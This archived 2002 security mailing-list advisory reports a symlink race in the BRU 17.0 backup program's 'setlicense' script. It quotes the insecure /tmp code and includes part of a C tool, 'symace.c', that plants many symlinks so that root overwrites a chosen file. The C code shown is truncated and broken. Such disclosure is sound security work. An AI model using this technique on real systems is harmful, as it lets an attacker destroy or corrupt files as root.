[UNIX] BRU Backup Program Vulnerable to Symlink Attack

From: support@securiteam.com
Date: 02/04/02

From: support@securiteam.com
To: list@securiteam.com
Date: Mon,  4 Feb 2002 11:23:08 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  BRU Backup Program Vulnerable to Symlink Attack


 <backup > BRU (now known as Tolis Group) provides fully verified backup
and restore operations and offers options for most conceivable data backup
and recovery needs. BRU is fully device independent, so it works with any
device or filesystem that is supported by your operating system.

The usage of insecure tmp files in some of the various shell scripts,
which allows you to overwrite arbitrary files with 'foobar'. Since this
script would most likely be run by root, it allows you to overwrite any
files you want.


Vulnerable systems:
BRU version 17.0

This is the beginnings of the 'setlicense' shell script.

printf "%s" foobar >/tmp/brutest.$$ 2>&1
res=`cat /tmp/brutest.$$`
rm -f /tmp/brutest.$$
if test "$res" != "foobar"; then
        alias printf="echo -n -e"

So all that needs to be done is create a fair amount of symbolic links in
the '/tmp' directory pointing to the file you want to overwrite.

---[ CUT ]---
/* symace.c -0.0.1 - A generic filesystem symlink/race thinger */

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>

/* Please note that there is no error checking... */
/* By Andrew Griffiths (nullptr@tasmail.com) */

int main(int argc, char **argv)
        char *overwrite;
        char *base;
        int start_pid, end_pid;
        int i, size;

        overwrite = strdup(argv[1]);
        size = strlen(argv[2]) + 8 + 1;
        base = malloc(size);

        for(i=start_pid;i<end_pid;i++) {
                memset(base, 0, size-1);
                snprintf(base, size-1, "%s%d", argv[2], i);
                if(symlink(overwrite, base)==-1) {
                        printf("Unable to create %s bailing\n", base);


The information has been provided by <mailto:andrewg@tasmail.com> Andrew


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages

  • Re: What is Ideal Backup?
    ... >> I run RH 8.0 and I wonder what backup software should I use to backup my ... >> file server on tape. ... I use BRU on my machines. ...
  • Re: NT Backup Fails to External HD - Insufficient Disk Space
    ... As I mentioned in my original post, I have selected overwrite rather than append. ... For five nights there should be about 100 to 150 gigs free after backup. ... Verify that you have full access to the working folder and there is disk space available." ...
  • Re: Backups
    ... Expiredays and retaindays are only there to not allow you to overwrite using ... If you aren't using INIT or if you are using ... than one backup device). ... > media is overwriten when the expiry dates of all backups ...
  • Re: backup
    ... enter the QUIT command at the BACKUP> prompt. ... To overwrite information in the volume header and continue ... > Request 81, ...